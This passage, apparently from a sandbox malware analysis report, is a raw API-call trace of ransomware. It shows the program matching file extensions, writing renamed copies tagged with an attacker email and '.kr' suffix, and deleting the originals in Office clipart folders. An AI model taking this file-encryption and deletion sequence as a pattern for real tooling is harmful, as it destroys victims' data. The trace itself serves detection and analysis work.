lpString2="WMF") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.676] lstrlenW (lpString=".dbf") returned 4 [0213.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.676] lstrlenW (lpString=".1cd") returned 4 [0213.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.676] lstrlenW (lpString=".jpg") returned 4 [0213.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.676] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.676] lstrlenW (lpString="J0107722.WMF") returned 12 [0213.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.677] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8260) returned 1 [0213.677] CloseHandle (hObject=0x51c) returned 1 [0213.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220 [0213.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.677] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.678] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.679] GetLastError () returned 0x0 [0213.679] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2044, lpOverlapped=0x0) returned 1 [0213.681] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2050, lpOverlapped=0x0) returned 1 [0213.682] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.682] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.682] SetEndOfFile (hFile=0x554) returned 1 [0213.682] CloseHandle (hObject=0x554) returned 1 [0213.682] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.682] SetEndOfFile (hFile=0x51c) returned 1 [0213.685] CloseHandle (hObject=0x51c) returned 1 [0213.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0213.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.686] lstrlenW (lpString=".doc") returned 4 [0213.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.686] lstrlenW (lpString=".docx") returned 5 [0213.686] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.686] lstrlenW (lpString=".pdf") returned 4 [0213.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.686] lstrlenW (lpString=".xls") returned 4 [0213.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.686] lstrlenW (lpString=".xlsx") returned 5 [0213.686] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.686] lstrlenW (lpString=".ppt") returned 4 [0213.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.686] lstrlenW (lpString=".zip") returned 4 [0213.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.686] lstrlenW (lpString=".rar") returned 4 [0213.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.686] lstrlenW (lpString=".bz2") returned 4 [0213.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.686] lstrlenW (lpString=".7z") returned 3 [0213.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.687] lstrlenW (lpString=".dbf") returned 4 [0213.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.687] lstrlenW (lpString=".1cd") returned 4 [0213.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.687] lstrlenW (lpString=".jpg") returned 4 [0213.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.687] lstrlenW (lpString=".doc") returned 4 [0213.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString=".docx") returned 5 [0213.687] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.687] lstrlenW (lpString=".pdf") returned 4 [0213.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString=".xls") returned 4 [0213.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.687] lstrlenW (lpString=".xlsx") returned 5 [0213.687] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.687] lstrlenW (lpString=".ppt") returned 4 [0213.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.687] lstrlenW (lpString=".zip") returned 4 [0213.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.687] lstrlenW (lpString=".rar") returned 4 [0213.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString=".bz2") returned 4 [0213.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.687] lstrlenW (lpString=".7z") returned 3 [0213.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.688] lstrlenW (lpString=".dbf") returned 4 [0213.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.688] lstrlenW (lpString=".1cd") returned 4 [0213.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0213.688] lstrlenW (lpString=".jpg") returned 4 [0213.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.688] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.688] lstrlenW (lpString="J0107724.WMF") returned 12 [0213.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.691] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7016) returned 1 [0213.691] CloseHandle (hObject=0x51c) returned 1 [0213.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220 [0213.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.692] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.692] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.693] GetLastError () returned 0x0 [0213.693] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1b68, lpOverlapped=0x0) returned 1 [0213.932] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1b70, lpOverlapped=0x0) returned 1 [0213.933] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.933] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.933] SetEndOfFile (hFile=0x554) returned 1 [0214.136] CloseHandle (hObject=0x554) returned 1 [0214.136] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.136] SetEndOfFile (hFile=0x51c) returned 1 [0214.138] CloseHandle (hObject=0x51c) returned 1 [0214.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.536] lstrlenW (lpString=".doc") returned 4 [0214.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.536] lstrlenW (lpString=".docx") returned 5 [0214.537] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0214.537] lstrlenW (lpString=".pdf") returned 4 [0214.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.537] lstrlenW (lpString=".xls") returned 4 [0214.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.537] lstrlenW (lpString=".xlsx") returned 5 [0214.537] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0214.537] lstrlenW (lpString=".ppt") returned 4 [0214.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.537] lstrlenW (lpString=".zip") returned 4 [0214.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.537] lstrlenW (lpString=".rar") returned 4 [0214.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.537] lstrlenW (lpString=".bz2") returned 4 [0214.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.537] lstrlenW (lpString=".7z") returned 3 [0214.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.537] lstrlenW (lpString=".dbf") returned 4 [0214.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.537] lstrlenW (lpString=".1cd") returned 4 [0214.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.537] lstrlenW (lpString=".jpg") returned 4 [0214.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.571] lstrlenW (lpString=".doc") returned 4 [0214.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.571] lstrlenW (lpString=".docx") returned 5 [0214.571] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0214.571] lstrlenW (lpString=".pdf") returned 4 [0214.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.571] lstrlenW (lpString=".xls") returned 4 [0214.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.571] lstrlenW (lpString=".xlsx") returned 5 [0214.571] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0214.571] lstrlenW (lpString=".ppt") returned 4 [0214.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.571] lstrlenW (lpString=".zip") returned 4 [0214.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.571] lstrlenW (lpString=".rar") returned 4 [0214.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.571] lstrlenW (lpString=".bz2") returned 4 [0214.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.571] lstrlenW (lpString=".7z") returned 3 [0214.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.572] lstrlenW (lpString=".dbf") returned 4 [0214.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.572] lstrlenW (lpString=".1cd") returned 4 [0214.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0214.572] lstrlenW (lpString=".jpg") returned 4 [0214.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.572] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.572] lstrlenW (lpString="J0136865.WMF") returned 12 [0214.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.870] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=16710) returned 1 [0214.870] CloseHandle (hObject=0x51c) returned 1 [0214.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220 [0214.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.871] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.871] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0214.872] GetLastError () returned 0x0 [0214.872] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x4146, lpOverlapped=0x0) returned 1 [0214.874] WriteFile (in: hFile=0x518, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4150, lpOverlapped=0x0) returned 1 [0214.876] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0214.876] WriteFile (in: hFile=0x518, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0214.876] SetEndOfFile (hFile=0x518) returned 1 [0214.876] CloseHandle (hObject=0x518) returned 1 [0214.876] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.876] SetEndOfFile (hFile=0x51c) returned 1 [0214.879] CloseHandle (hObject=0x51c) returned 1 [0214.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0214.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.880] lstrlenW (lpString=".doc") returned 4 [0214.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.881] lstrlenW (lpString=".docx") returned 5 [0214.881] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0214.881] lstrlenW (lpString=".pdf") returned 4 [0214.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.881] lstrlenW (lpString=".xls") returned 4 [0214.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.881] lstrlenW (lpString=".xlsx") returned 5 [0214.881] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0214.881] lstrlenW (lpString=".ppt") returned 4 [0214.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.881] lstrlenW (lpString=".zip") returned 4 [0214.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.881] lstrlenW (lpString=".rar") returned 4 [0214.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.881] lstrlenW (lpString=".bz2") returned 4 [0214.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.881] lstrlenW (lpString=".7z") returned 3 [0214.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.881] lstrlenW (lpString=".dbf") returned 4 [0214.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.881] lstrlenW (lpString=".1cd") returned 4 [0214.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.881] lstrlenW (lpString=".jpg") returned 4 [0214.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.882] lstrlenW (lpString=".doc") returned 4 [0214.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString=".docx") returned 5 [0214.882] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0214.882] lstrlenW (lpString=".pdf") returned 4 [0214.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString=".xls") returned 4 [0214.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.882] lstrlenW (lpString=".xlsx") returned 5 [0214.882] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0214.882] lstrlenW (lpString=".ppt") returned 4 [0214.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.882] lstrlenW (lpString=".zip") returned 4 [0214.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.882] lstrlenW (lpString=".rar") returned 4 [0214.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString=".bz2") returned 4 [0214.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString=".7z") returned 3 [0214.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.882] lstrlenW (lpString=".dbf") returned 4 [0214.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.882] lstrlenW (lpString=".1cd") returned 4 [0214.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.882] lstrlenW (lpString="C:\\Program Files\\Microsoft 